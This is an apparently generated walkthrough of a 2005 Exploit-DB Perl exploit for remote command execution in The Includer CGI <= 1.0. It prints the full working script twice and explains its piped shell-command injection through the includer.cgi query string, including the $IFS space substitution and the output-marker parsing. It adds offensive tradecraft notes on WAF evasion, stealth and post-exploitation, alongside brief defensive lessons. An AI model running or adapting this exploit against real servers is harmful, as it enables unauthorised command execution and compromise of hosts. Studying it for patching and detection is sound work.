Exploiting The Includer CGI 1.0 for Remote Command Execution

Exploiting The Includer CGI 1.0 for Remote Command Execution
What this paper is
This paper details a vulnerability in The Includer CGI version 1.0, allowing for remote command execution. The exploit leverages a weakness in how the CGI script handles user input, specifically its use of the "Open" function (though the exact function name isn't provided in the script, the author implies it's related to file inclusion or command execution). By crafting a malicious HTTP request, an attacker can trick the CGI script into executing arbitrary commands on the target server.
Simple technical breakdown
The core of the vulnerability lies in the CGI script's inability to properly sanitize input that is then used in a command execution context. The exploit script constructs a GET request that includes a command to be executed on the server. This command is embedded within the URL path of the request, specifically after the includer.cgi script name. The CGI script, when processing this request, likely passes the malformed input directly to a system shell, leading to command execution. The exploit uses special markers (_N_ and _T_) to delimit the output of the executed command, making it easier to parse and display.
Complete code and payload walkthrough
The provided Perl script is an exploit for The Includer CGI <= 1.0. Let's break down its components:
#!/usr/bin/perl
############################################################
# Target - The Includer CGI <= 1.0 #
# #
# Based on - http://www.milw0rm.com/id.php?id=862 (https://www.exploit-db.com/exploits/862/) #
# #
# Info about bug - Stupid use "Open" function. #
# #
############################################################
# If you want know more visit our home page at nst.void.ru #
############################################################
use IO::Socket; # Imports the necessary module for network socket operations.
# This section checks if the correct number of command-line arguments are provided.
if (@ARGV < 3)
{
# If not enough arguments, it prints usage instructions and exits.
print " \n Includer CGI <= 1.0 Network Security Team - nst.void.ru\n\n";
print " Usage: <target> <dir> <cmd>\n\n";
print " <host> - Host name of taget.\n";
print " <dir> - If not in dir type / symbol.\n";
print " <cmd> - command for execution.\n\n";
print " Examples:\n\n";
print " incl_10.pl 127.0.0.1 /cgi-bin/ \"ls -la\"\n";
print " incl_10.pl 127.0.0.1 / \"uname -a\"\n";
print " incl_10.pl www.test.com / \"ps auxw\"\n";
exit();
}
# Assigns command-line arguments to variables.
$serv = $ARGV[0]; # The target hostname or IP address.
$serv =~ s/http:\/\///ge; # Removes "http://" from the target if present.
$dir = $ARGV[1]; # The directory where the CGI script is located.
$cmd = $cmde = $ARGV[2]; # The command to be executed. $cmde is a working copy.
# Prints information about the intended query for confirmation.
print "\n ===[ Info for query ]========================\n";
print " = Target: $serv\n";
print " = Dir: $dir\n";
print " = Cmd: $cmd\n";
print " =============================================\n\n";
# Prepares the command for execution by replacing spaces with "$IFS".
# $IFS (Internal Field Separator) is a shell variable that is used to split words.
# Replacing spaces with "$IFS" is a common technique to bypass simple shell sanitization
# that might try to split arguments based on spaces.
$cmde =~ s/ /"\$IFS"/ge;
# Constructs the HTTP GET request.
$req = "GET http://$serv"; # Starts with GET request and target host.
$req .= "$dir"; # Appends the directory path.
# This is the core of the exploit:
# includer.cgi?|echo\$IFS\"_N_\";$cmde;echo\$IFS\"_T_\"| HTTP/1.0\n\n
# - includer.cgi: The vulnerable CGI script.
# - ?: Separator for query string.
# - |: Pipe character, used to chain commands.
# - echo\$IFS\"_N_\": Prints a marker "_N_" to indicate the start of the command output.
# - $cmde: The sanitized command to be executed.
# - echo\$IFS\"_T_\": Prints a marker "_T_" to indicate the end of the command output.
# - |: Another pipe character.
# - HTTP/1.0\n\n: Standard HTTP headers.
$req .= "includer.cgi?|echo\$IFS\"_N_\";$cmde;echo\$IFS\"_T_\"| HTTP/1.0\n\n";
# Establishes a TCP connection to the target server on port 80 (HTTP).
$s = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$serv",
PeerPort=>80) or die " (-) - Can't connect to the server\n";
# Sends the crafted HTTP request to the server.
print $s $req;
# Initializes a flag to control output printing.
$flag = 0;
# Reads the server's response line by line.
while ($ans = <$s>)
{
# If the end marker "_T_" is found, it means the command execution is complete.
# Prints a separator and exits the loop.
if ($ans =~ /_T_/) { print " =========================================================\n"; exit() }
# If the flag is set (meaning the start marker "_N_" was found), print the response line.
if ($flag == 1) { print " $ans"; }
# If the start marker "_N_" is found, it indicates the command output is about to begin.
# Prints a header and sets the flag to 1 to start printing subsequent lines.
if ($ans =~ /^_N_/) { print " ===[ Executed command $cmd ]===============================\n"; $flag = 1 }
}
# milw0rm.com [2005-04-08]Code Fragment/Block -> Practical Purpose Mapping:
#!/usr/bin/perl: Shebang line, specifies the interpreter for the script.use IO::Socket;: Imports the Perl module for creating and managing network sockets, essential for making HTTP requests.if (@ARGV < 3)block: Argument validation. Ensures the user provides the target host, directory, and command.$serv = $ARGV[0]; $serv =~ s/http:\/\///ge;: Captures the target host and cleans it by removing any leading "http://".$dir = $ARGV[1];: Captures the directory path where the CGI script resides.$cmd = $cmde = $ARGV[2];: Captures the command to be executed.$cmdeis used for modification.$cmde =~ s/ /"\$IFS"/ge;: Crucial payload preparation. Replaces spaces in the command with"$IFS". This is a common technique to bypass basic shell command parsing that might split arguments on spaces. It effectively treats the entire string as a single argument or ensures proper argument separation in shells where$IFSis used for word splitting.$req = "GET http://$serv$dirincluder.cgi?|echo\$IFS\"_N_\";$cmde;echo\$IFS\"_T_\"| HTTP/1.0\n\n";: The exploit payload construction. This line crafts the HTTP GET request.GET http://$serv$dir: Standard HTTP GET request targeting the server and directory.includer.cgi: The vulnerable CGI script.?: Separator for the query string.|: The pipe operator. This is key. It tells the shell to execute the command that follows.echo\$IFS\"_N_\";: This part prints a unique marker_N_to signify the start of the command's output.\$IFSis used to ensure the space is handled correctly by the shell.$cmde: This is where the user-provided, space-sanitized command is inserted. The shell will execute this command.echo\$IFS\"_T_\";: This prints a unique marker_T_to signify the end of the command's output.|: Another pipe operator, though its purpose here is less critical than the first one. It might be to ensure proper command termination or to handle potential shell interpretation nuances.HTTP/1.0\n\n: Standard HTTP protocol version and headers.
$s = IO::Socket::INET->new(...): Establishes a TCP socket connection to the target server on port 80.print $s $req;: Sends the constructed HTTP request over the socket.while ($ans = <$s>) { ... }: Reads the response from the server line by line.if ($ans =~ /_T_/) { ... exit() }: Detects the end marker_T_and exits the loop and script.if ($flag == 1) { print " $ans"; }: If the_N_marker has been seen ($flagis 1), it prints the current line of the response, which is part of the command's output.if ($ans =~ /^_N_/) { ... $flag = 1 }: Detects the start marker_N_. It prints a header indicating the command that was executed and sets$flagto 1, enabling the printing of subsequent output lines.
Shellcode/Payload Segments:
The "payload" in this context isn't traditional shellcode bytes. Instead, it's the carefully crafted HTTP request string that, when processed by the vulnerable CGI, results in command execution.
- Stage 1: HTTP Request Construction: The Perl script builds the
GETrequest. - Stage 2: Command Injection: The
|echo\$IFS\"_N_\";$cmde;echo\$IFS\"_T_\"part is the injected payload.- The initial
|pipes the output of whateverincluder.cgimight normally do (or bypasses it) to the subsequent commands. echo\$IFS\"_N_\";prints a start marker.$cmde(the user's command, with spaces replaced by"$IFS") is executed by the server's shell.echo\$IFS\"_T_\";prints an end marker.
- The initial
- Stage 3: Response Parsing: The Perl script reads the server's response, looking for
_N_to start capturing output and_T_to stop.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server (port 80 or 443 if HTTPS is used, though this exploit targets HTTP). No local access or prior authentication is required.
- Lab Preconditions:
- A vulnerable instance of "The Includer CGI <= 1.0" running on a web server.
- Network connectivity to the target web server.
- A Perl interpreter installed on the attacker's machine to run the exploit script.
- Tooling Assumptions:
- Perl interpreter.
- Basic understanding of HTTP requests and CGI execution.
- The exploit script itself.
- Execution Pitfalls:
- Incorrect Directory (
$dir): If the$dirargument is wrong, theincluder.cgiscript might not be found, or the command injection might fail. Common values include/cgi-bin/or/. - Command Syntax: The command itself must be valid for the target server's operating system and shell. Complex commands or those requiring specific environment variables might fail.
- Firewalls/WAFs: Network firewalls or Web Application Firewalls (WAFs) might block the request if they detect the pipe (
|) or theechocommands, or if they recognize the pattern of command injection. - Shell Interpretation: The effectiveness of
"$IFS"relies on the target server's shell interpreting it correctly. Different shells (e.g.,bash,sh,csh) might have subtle differences. - Output Buffering/Truncation: The server might buffer or truncate the output, making it difficult to capture the full command result. The
_N_and_T_markers help, but if the output is extremely large, it might still be an issue. - HTTP vs. HTTPS: The script is hardcoded for HTTP (port 80). If the target uses HTTPS, modifications would be needed (e.g., using
IO::Socket::SSLor a tool likecurlwith appropriate options). - Script Location: The exploit assumes
includer.cgiis directly accessible via the provided directory. If it's nested or has a different name, the exploit will fail.
- Incorrect Directory (
- Tradecraft Considerations:
- Reconnaissance: Identify the web server technology and potential CGI script locations. Look for common CGI directories.
- Payload Obfuscation: For more advanced scenarios, the command itself might need obfuscation to bypass WAFs or IDS. However, this script doesn't include such features.
- Stealth: Standard HTTP GET requests are generally less noisy than other methods, but the specific payload might trigger alerts.
- Post-Exploitation: Once command execution is achieved, the operator would typically aim to establish a more persistent channel (e.g., reverse shell) or exfiltrate data.
Where this was used and when
- Context: This exploit targets a specific CGI script, "The Includer CGI," which was likely a third-party script or part of a web application framework available around 2005. Such scripts were common for adding dynamic functionality to websites.
- Approximate Years/Dates: The exploit was published on April 8, 2005. Vulnerabilities like this were prevalent in the mid-2000s as web application security practices were less mature. It's likely this vulnerability existed and could have been exploited prior to its public disclosure.
Defensive lessons for modern teams
- Input Validation and Sanitization: This is the most critical lesson. Never trust user input. All data received from external sources (HTTP requests, form submissions, URL parameters) must be rigorously validated and sanitized before being used in sensitive operations like file inclusion or command execution.
- Avoid Direct Command Execution: Applications should avoid directly executing user-supplied commands. If command execution is absolutely necessary, it should be done within a highly controlled environment, using whitelisting of allowed commands and arguments, and with minimal privileges.
- Secure CGI Development: Developers of CGI scripts or any web application components must be aware of common vulnerabilities like command injection, SQL injection, and cross-site scripting (XSS).
- Web Application Firewalls (WAFs): WAFs can help detect and block common attack patterns, including those involving pipe characters and suspicious command syntax. However, they are not a silver bullet and can be bypassed.
- Regular Patching and Updates: Keep all web server software, CGI scripts, and application frameworks up-to-date with the latest security patches.
- Principle of Least Privilege: Run web servers and CGI scripts with the minimum necessary privileges. This limits the damage an attacker can do even if they achieve command execution.
- Code Auditing: Regularly audit custom web application code for security vulnerabilities.
ASCII visual (if applicable)
This exploit is a direct request-response interaction, so a complex architecture diagram isn't strictly necessary. However, we can visualize the flow of the malicious request:
+-----------------+ +-----------------------+ +-----------------+
| Attacker's Host | ----> | Target Web Server | ----> | Vulnerable CGI |
| (Perl Script) | | (Port 80 / HTTP) | | (includer.cgi) |
+-----------------+ +-----------------------+ +-----------------+
| |
| HTTP GET Request with injected command: | Processes request,
| GET /path/to/includer.cgi?|cmd; | HTTP/1.0 | executes command
| | via shell.
| <-------------------------------------------------------|
| HTTP Response containing command output (delimited) |Explanation:
- The attacker's Perl script crafts a malicious HTTP GET request.
- This request is sent to the target web server on port 80.
- The web server passes the request to the
includer.cgiscript. - The vulnerable
includer.cgiscript, due to improper input handling, interprets the pipe (|) and executes the subsequent command ($cmde) on the server's operating system shell. - The output of the executed command, framed by
_N_and_T_markers, is sent back in the HTTP response. - The Perl script receives the response, parses it for the markers, and displays the command output.
Source references
- Paper URL: https://www.exploit-db.com/papers/922
- Raw Exploit URL: https://www.exploit-db.com/raw/922
- Original Reference (mentioned in paper): http://www.milw0rm.com/id.php?id=862 (Note: milw0rm.com is no longer active, but this was the original source cited).
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
############################################################
# Target - The Includer CGI <= 1.0 #
# #
# Based on - http://www.milw0rm.com/id.php?id=862 (https://www.exploit-db.com/exploits/862/) #
# #
# Info about bug - Stupid use "Open" function. #
# #
############################################################
# If you want know more visit our home page at nst.void.ru #
############################################################
use IO::Socket;
if (@ARGV < 3)
{
print " \n Includer CGI <= 1.0 Network Security Team - nst.void.ru\n\n";
print " Usage: <target> <dir> <cmd>\n\n";
print " <host> - Host name of taget.\n";
print " <dir> - If not in dir type / symbol.\n";
print " <cmd> - command for execution.\n\n";
print " Examples:\n\n";
print " incl_10.pl 127.0.0.1 /cgi-bin/ \"ls -la\"\n";
print " incl_10.pl 127.0.0.1 / \"uname -a\"\n";
print " incl_10.pl www.test.com / \"ps auxw\"\n";
exit();
}
$serv = $ARGV[0];
$serv =~ s/http:\/\///ge;
$dir = $ARGV[1];
$cmd = $cmde = $ARGV[2];
print "\n ===[ Info for query ]========================\n";
print " = Target: $serv\n";
print " = Dir: $dir\n";
print " = Cmd: $cmd\n";
print " =============================================\n\n";
$cmde =~ s/ /"\$IFS"/ge;
$req = "GET http://$serv";
$req .= "$dir";
$req .= "includer.cgi?|echo\$IFS\"_N_\";$cmde;echo\$IFS\"_T_\"| HTTP/1.0\n\n";
$s = IO::Socket::INET->new(Proto=>"tcp",
PeerAddr=>"$serv",
PeerPort=>80) or die " (-) - Can't connect to the server\n";
print $s $req;
$flag = 0;
while ($ans = <$s>)
{
if ($ans =~ /_T_/) { print " =========================================================\n"; exit() }
if ($flag == 1) { print " $ans"; }
if ($ans =~ /^_N_/) { print " ===[ Executed command $cmd ]===============================\n"; $flag = 1 }
}
# milw0rm.com [2005-04-08]